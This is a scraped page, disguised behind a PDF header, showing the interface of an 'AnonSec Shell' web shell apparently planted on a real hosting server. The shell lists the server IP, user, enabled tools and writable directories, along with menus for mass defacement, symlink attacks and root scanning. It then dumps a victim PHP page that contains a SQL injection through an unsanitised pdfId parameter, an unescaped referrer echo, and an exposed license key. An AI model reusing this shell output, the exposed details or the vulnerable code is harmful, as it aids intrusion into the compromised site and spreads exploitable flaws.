%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.216.24   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/public_html/libraryForMobile/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/public_html/libraryForMobile/pdf-file.php
<?php
include '../lib/connection1.php';

// tbl_product_category tablosundan tüm verileri çekme
$sql = "SELECT * FROM tbl_product_category";
$result = $ceha->query($sql);


?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Variation Library</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <script src="https://cdn.jsdelivr.net/npm/pdfjs-dist@2.7.570/build/pdf.worker.min.jss"></script>
    <script src='../pdfjs/lib/webviewer.min.js'></script>
    <style>
        #pdf-viewer {
            width: 268px;
            height: 380px;
            /* Adjust height as needed */
        }
    </style>
</head>

<body class="font-sans text-[#ACACAC]">
    <div>
        <div class="container mx-auto p-4 flex items-center justify-between">
            <div class="backButton">
                <a href="<?php echo $_SERVER['HTTP_REFERER']; ?>" class="flex items-center gap-2 text-black font-semibold text-[19px]">

                    <svg width="8" height="15" viewBox="0 0 8 15" fill="none" xmlns="http://www.w3.org/2000/svg">
                        <path d="M7.13416 1.27907C7.13395 1.51866 7.0386 1.74836 6.86908 1.91767L2.24706 6.53968C2.10716 6.67955 1.99619 6.8456 1.92047 7.02836C1.84476 7.21112 1.80579 7.407 1.80579 7.60482C1.80579 7.80264 1.84476 7.99853 1.92047 8.18128C1.99619 8.36404 2.10716 8.53009 2.24706 8.66996L6.86305 13.289C7.02766 13.4594 7.11875 13.6877 7.11669 13.9246C7.11463 14.1616 7.01959 14.3882 6.85204 14.5558C6.68449 14.7233 6.45784 14.8183 6.2209 14.8204C5.98396 14.8225 5.75569 14.7314 5.58525 14.5668L0.969261 9.95137C0.348594 9.32948 1.00905e-05 8.48675 1.01673e-05 7.60813C1.02441e-05 6.72951 0.348594 5.88678 0.969262 5.2649L5.59128 0.642881C5.71748 0.516598 5.87826 0.430525 6.05333 0.395526C6.2284 0.360527 6.40991 0.378169 6.57497 0.446227C6.74002 0.514285 6.88122 0.629709 6.98074 0.777932C7.08026 0.926156 7.13364 1.10054 7.13416 1.27907Z" fill="#1F3663" />
                    </svg>
                    <div>
                        Geri
                    </div>
                </a>
            </div>
        </div>

    </div>

    <div class="container mx-auto flex md:hidden w-full">
        <div class="library flex flex-col items-center h-screen w-full">
            <h3 class="flex justify-center w-full text-black font-semibold text-[19px]">
                <?php
                // pdf'nin ID'sini alın
                $pdfId = $_GET['pdfId'];
                // pdf'nin adını alın
                $sql_pdf = "SELECT * FROM tbl_product_pdf WHERE id = $pdfId";
                $result_pdf = $ceha->query($sql_pdf);
                $row_pdf = $result_pdf->fetch_assoc();
                echo $row_pdf['file_name'];
                ?>
            </h3>
            <div class="mainProduct mt-5">
            <div class="w-full h-screen px-5 bg-[#F4F4F4] h-[507px] flex justify-center items-center">
                <div id="viewer" class="w-full h-full rounded-xl border-8"></div>
            </div>
            </div>
        </div>



    </div>

    <!-- <footer class="absolute bottom-[1rem] w-full">
        <div class="flex justify-center">
            <img src="../assets/mobile-footer.png" alt="">
        </div>
    </footer> -->

    <script>
    //pdfId'yi alın
    var pdfID = <?php echo json_encode($pdfId); ?>;
    //pdf file_path'i alın
    var pdfPath = <?php echo json_encode($row_pdf['file_path']); ?>;
    
    WebViewer({
        path: '../pdfjs/lib',
        licenseKey: 'DvnS39zAfO7h6TiaKY4q',
        initialDoc: `../${pdfPath}`,
    }, document.getElementById('viewer'))
    .then(instance => {
        // now you can access APIs through the WebViewer instance
        const { Core, UI } = instance;

        // adding an event listener for when a document is loaded
        Core.documentViewer.addEventListener('documentLoaded', () => {
            console.log('document loaded');
        });

        // adding an event listener for when the page number has changed
        Core.documentViewer.addEventListener('pageNumberUpdated', (pageNumber) => {
            console.log(`Page number is: ${pageNumber}`);
        });
    });
</script>


</body>

</html>

Anon7 - 2022
AnonSec Team